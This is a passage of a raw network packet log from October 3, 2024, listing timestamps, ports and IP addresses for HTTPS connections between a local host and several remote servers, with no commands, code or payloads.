Oct 3, 2024 18:18:16.206640959 CEST	443	49778	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.206967115 CEST	49778	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.207031012 CEST	443	49778	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.207094908 CEST	49778	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.246753931 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 3, 2024 18:18:16.251409054 CEST	443	49778	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.253590107 CEST	443	49779	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.253987074 CEST	49779	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.254004002 CEST	443	49779	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.255084991 CEST	443	49779	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.255501986 CEST	49779	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.255831957 CEST	49779	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.255837917 CEST	443	49779	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.255958080 CEST	443	49779	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.266192913 CEST	49781	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.266220093 CEST	443	49781	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.266298056 CEST	49781	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.266705990 CEST	49781	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.266720057 CEST	443	49781	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.311203003 CEST	49779	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.345031977 CEST	443	49778	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.345096111 CEST	443	49778	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.345160007 CEST	49778	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.345902920 CEST	49778	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.345927954 CEST	443	49778	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.398113966 CEST	443	49779	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.398166895 CEST	443	49779	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.398364067 CEST	49779	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.399008036 CEST	49779	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.399023056 CEST	443	49779	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.417340040 CEST	49782	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:16.417417049 CEST	443	49782	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:16.417519093 CEST	49782	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:16.417757034 CEST	49782	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:16.417794943 CEST	443	49782	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:16.502770901 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 3, 2024 18:18:16.865051031 CEST	443	49780	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.865396976 CEST	49780	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.865408897 CEST	443	49780	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.865868092 CEST	443	49780	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.866379976 CEST	49780	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.866456985 CEST	443	49780	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.866516113 CEST	49780	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.868226051 CEST	443	49781	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.868443012 CEST	49781	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.868458033 CEST	443	49781	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.869879961 CEST	443	49781	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.869941950 CEST	49781	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.870012999 CEST	49783	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:16.870044947 CEST	443	49783	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:16.870114088 CEST	49783	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:16.870307922 CEST	49781	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.870322943 CEST	49781	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.870373011 CEST	49781	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.870388985 CEST	443	49781	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.870434999 CEST	49781	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.870759010 CEST	49784	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.870817900 CEST	443	49784	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.870887995 CEST	49784	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.871120930 CEST	49784	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.871140003 CEST	443	49784	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.871381044 CEST	49783	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:16.871393919 CEST	443	49783	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:16.888649940 CEST	443	49782	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:16.888853073 CEST	49782	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:16.888864994 CEST	443	49782	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:16.892440081 CEST	443	49782	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:16.892510891 CEST	49782	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:16.892801046 CEST	49782	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:16.892817974 CEST	49782	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:16.892853022 CEST	49782	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:16.892981052 CEST	443	49782	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:16.893028021 CEST	49782	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:16.893110991 CEST	49785	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:16.893130064 CEST	443	49785	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:16.893181086 CEST	49785	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:16.893357038 CEST	49785	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:16.893366098 CEST	443	49785	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:16.907428026 CEST	443	49780	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.999221087 CEST	443	49780	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.999289036 CEST	443	49780	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.999330997 CEST	443	49780	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.999331951 CEST	49780	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.999347925 CEST	443	49780	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.999403954 CEST	49780	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.999414921 CEST	443	49780	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.999485970 CEST	443	49780	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.999525070 CEST	49780	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.999530077 CEST	443	49780	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.999608994 CEST	443	49780	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.999650955 CEST	49780	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:17.000279903 CEST	49780	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:17.000288963 CEST	443	49780	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:17.107748985 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 3, 2024 18:18:17.333534002 CEST	443	49784	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:17.333857059 CEST	49784	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:17.333883047 CEST	443	49784	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:17.334959984 CEST	443	49784	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:17.335282087 CEST	49784	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:17.335423946 CEST	49784	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:17.335429907 CEST	443	49784	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:17.335480928 CEST	443	49784	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:17.335505009 CEST	49784	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:17.335519075 CEST	49784	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:17.335588932 CEST	443	49784	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:17.362684011 CEST	443	49785	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.362894058 CEST	49785	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.362915993 CEST	443	49785	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.364533901 CEST	443	49785	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.364608049 CEST	49785	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.365452051 CEST	49785	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.365533113 CEST	443	49785	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.365595102 CEST	49785	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.365611076 CEST	443	49785	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.377759933 CEST	49784	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:17.409729958 CEST	49785	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.463114023 CEST	443	49784	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:17.463269949 CEST	443	49784	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:17.463366032 CEST	49784	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:17.463840961 CEST	49784	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:17.463865995 CEST	443	49784	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:17.463881016 CEST	49784	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:17.463922977 CEST	49784	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:17.466604948 CEST	49786	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:17.466686964 CEST	443	49786	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:17.466774940 CEST	49786	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:17.466976881 CEST	49786	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:17.467004061 CEST	443	49786	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:17.500505924 CEST	443	49785	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.500601053 CEST	443	49785	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.500633001 CEST	443	49785	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.500653982 CEST	49785	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.500659943 CEST	443	49785	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.500680923 CEST	443	49785	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.500711918 CEST	49785	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.500715017 CEST	443	49785	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.500726938 CEST	443	49785	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.500756025 CEST	49785	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.501308918 CEST	443	49785	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.501467943 CEST	49785	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.501523018 CEST	49785	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.501533031 CEST	443	49785	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.507482052 CEST	49788	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.507576942 CEST	443	49788	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.507672071 CEST	49788	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.507981062 CEST	49788	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.508019924 CEST	443	49788	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.549257040 CEST	443	49783	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:17.549344063 CEST	49783	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:17.551692009 CEST	49783	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:17.551712990 CEST	443	49783	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:17.551944017 CEST	443	49783	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:17.600735903 CEST	49783	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:17.604506969 CEST	49783	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:17.651400089 CEST	443	49783	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:17.827251911 CEST	443	49783	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:17.827272892 CEST	443	49783	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:17.827280045 CEST	443	49783	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:17.827302933 CEST	443	49783	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:17.827357054 CEST	49783	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:17.827357054 CEST	443	49783	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:17.827423096 CEST	443	49783	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:17.827434063 CEST	443	49783	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:17.827447891 CEST	49783	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:17.827447891 CEST	49783	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:17.827487946 CEST	49783	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:17.828011036 CEST	443	49783	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:17.828058004 CEST	443	49783	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:17.828104019 CEST	49783	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:17.837078094 CEST	49783	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:17.837096930 CEST	443	49783	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:17.837109089 CEST	49783	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:17.837114096 CEST	443	49783	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:17.928802967 CEST	443	49786	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:17.929136038 CEST	49786	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:17.929172039 CEST	443	49786	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:17.930324078 CEST	443	49786	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:17.930666924 CEST	49786	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:17.930802107 CEST	49786	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:17.930865049 CEST	443	49786	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:17.962218046 CEST	443	49788	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.962445974 CEST	49788	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.962477922 CEST	443	49788	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.963967085 CEST	443	49788	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.964087963 CEST	49788	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.964302063 CEST	49788	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.964302063 CEST	49788	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.964340925 CEST	49788	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.964386940 CEST	443	49788	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.964539051 CEST	49788	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.964605093 CEST	49789	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.964637995 CEST	443	49789	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.964715958 CEST	49789	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.964904070 CEST	49789	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:17.964915991 CEST	443	49789	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:17.982741117 CEST	49786	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:18.065351009 CEST	443	49786	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:18.065515995 CEST	443	49786	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:18.065587044 CEST	49786	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:18.066078901 CEST	49786	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:18.066078901 CEST	49786	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:18.066111088 CEST	443	49786	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:18.066167116 CEST	49786	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:18.075598001 CEST	49790	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:18.075634956 CEST	443	49790	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:18.075714111 CEST	49790	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:18.075925112 CEST	49790	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:18.075942993 CEST	443	49790	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:18.317857027 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 3, 2024 18:18:18.419085026 CEST	443	49789	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:18.420479059 CEST	49789	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:18.420492887 CEST	443	49789	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:18.420782089 CEST	443	49789	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:18.424158096 CEST	49789	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:18.424211979 CEST	443	49789	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:18.424324989 CEST	49789	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:18.467400074 CEST	443	49789	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:18.543899059 CEST	443	49790	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:18.544131041 CEST	49790	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:18.544169903 CEST	443	49790	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:18.545794964 CEST	443	49790	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:18.545875072 CEST	49790	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:18.546669960 CEST	49790	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:18.546765089 CEST	443	49790	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:18.546794891 CEST	49790	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:18.566497087 CEST	443	49789	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:18.566551924 CEST	443	49789	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:18.566643953 CEST	443	49789	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:18.566667080 CEST	49789	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:18.566682100 CEST	443	49789	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:18.566821098 CEST	49789	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:18.566973925 CEST	443	49789	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:18.567070007 CEST	443	49789	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:18.567136049 CEST	49789	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:18.567142010 CEST	443	49789	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:18.567461967 CEST	443	49789	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:18.567522049 CEST	49789	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:18.567528009 CEST	443	49789	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:18.567920923 CEST	443	49789	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:18.567982912 CEST	49789	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:18.567986012 CEST	443	49789	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:18.568536043 CEST	49789	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:18.568614006 CEST	49789	443	192.168.2.16	172.67.212.151
Oct 3, 2024 18:18:18.568624020 CEST	443	49789	172.67.212.151	192.168.2.16
Oct 3, 2024 18:18:18.587440014 CEST	443	49790	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:18.588907003 CEST	49790	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:18.588937044 CEST	443	49790	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:18.606379986 CEST	49791	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:18.606400013 CEST	443	49791	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:18.606601000 CEST	49791	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:18.612051964 CEST	49791	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:18.612062931 CEST	443	49791	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:18.636912107 CEST	49790	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:18.670562983 CEST	443	49790	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:18.670845032 CEST	49790	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:18.670888901 CEST	443	49790	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:18.670917034 CEST	443	49790	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:18.670959949 CEST	49790	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:18.670984983 CEST	49790	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:18.671276093 CEST	49792	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:18.671339035 CEST	443	49792	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:18.671536922 CEST	49792	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:18.671751022 CEST	49792	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:18.671772957 CEST	443	49792	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:19.078450918 CEST	443	49791	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:19.078706980 CEST	49791	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:19.078721046 CEST	443	49791	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:19.079694033 CEST	443	49791	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:19.079754114 CEST	49791	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:19.080528021 CEST	49791	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:19.080580950 CEST	443	49791	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:19.080697060 CEST	49791	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:19.080703020 CEST	443	49791	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:19.131724119 CEST	49791	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:19.153610945 CEST	443	49792	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:19.153853893 CEST	49792	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:19.153889894 CEST	443	49792	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:19.155002117 CEST	443	49792	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:19.155271053 CEST	49792	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:19.155361891 CEST	49792	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:19.155376911 CEST	443	49792	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:19.155564070 CEST	443	49792	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:19.195796967 CEST	49792	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:19.262347937 CEST	443	49791	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:19.262451887 CEST	443	49791	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:19.262511015 CEST	49791	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:19.262973070 CEST	49791	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:19.262989998 CEST	443	49791	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:19.263922930 CEST	49793	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:19.264000893 CEST	443	49793	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:19.264157057 CEST	49793	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:19.264345884 CEST	49793	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:19.264383078 CEST	443	49793	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:19.281569004 CEST	443	49792	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:19.281793118 CEST	49792	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:19.281864882 CEST	443	49792	35.190.80.1	192.168.2.16
Oct 3, 2024 18:18:19.281995058 CEST	49792	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:18:19.580722094 CEST	443	49714	142.250.184.196	192.168.2.16
Oct 3, 2024 18:18:19.580774069 CEST	443	49714	142.250.184.196	192.168.2.16
Oct 3, 2024 18:18:19.581048965 CEST	49714	443	192.168.2.16	142.250.184.196
Oct 3, 2024 18:18:20.059448004 CEST	443	49793	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:20.059725046 CEST	49793	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:20.059789896 CEST	443	49793	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:20.060092926 CEST	443	49793	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:20.060367107 CEST	49793	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:20.060436010 CEST	443	49793	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:20.060498953 CEST	49793	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:20.107400894 CEST	443	49793	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:20.223088026 CEST	443	49793	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:20.223167896 CEST	443	49793	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:20.223238945 CEST	49793	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:20.223848104 CEST	49793	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:20.223881006 CEST	443	49793	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:20.226006985 CEST	49714	443	192.168.2.16	142.250.184.196
Oct 3, 2024 18:18:20.226038933 CEST	443	49714	142.250.184.196	192.168.2.16
Oct 3, 2024 18:18:20.235598087 CEST	49794	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:20.235645056 CEST	443	49794	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:20.235735893 CEST	49794	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:20.235956907 CEST	49794	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:20.235985041 CEST	443	49794	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:20.704190016 CEST	443	49794	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:20.704549074 CEST	49794	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:20.704612970 CEST	443	49794	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:20.707819939 CEST	443	49794	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:20.708041906 CEST	49794	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:20.708349943 CEST	49794	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:20.708431959 CEST	49794	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:20.708432913 CEST	49794	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:20.708446026 CEST	443	49794	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:20.708664894 CEST	443	49794	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:20.708798885 CEST	49794	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:20.708798885 CEST	49794	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:20.711424112 CEST	49795	443	192.168.2.16	188.114.97.3
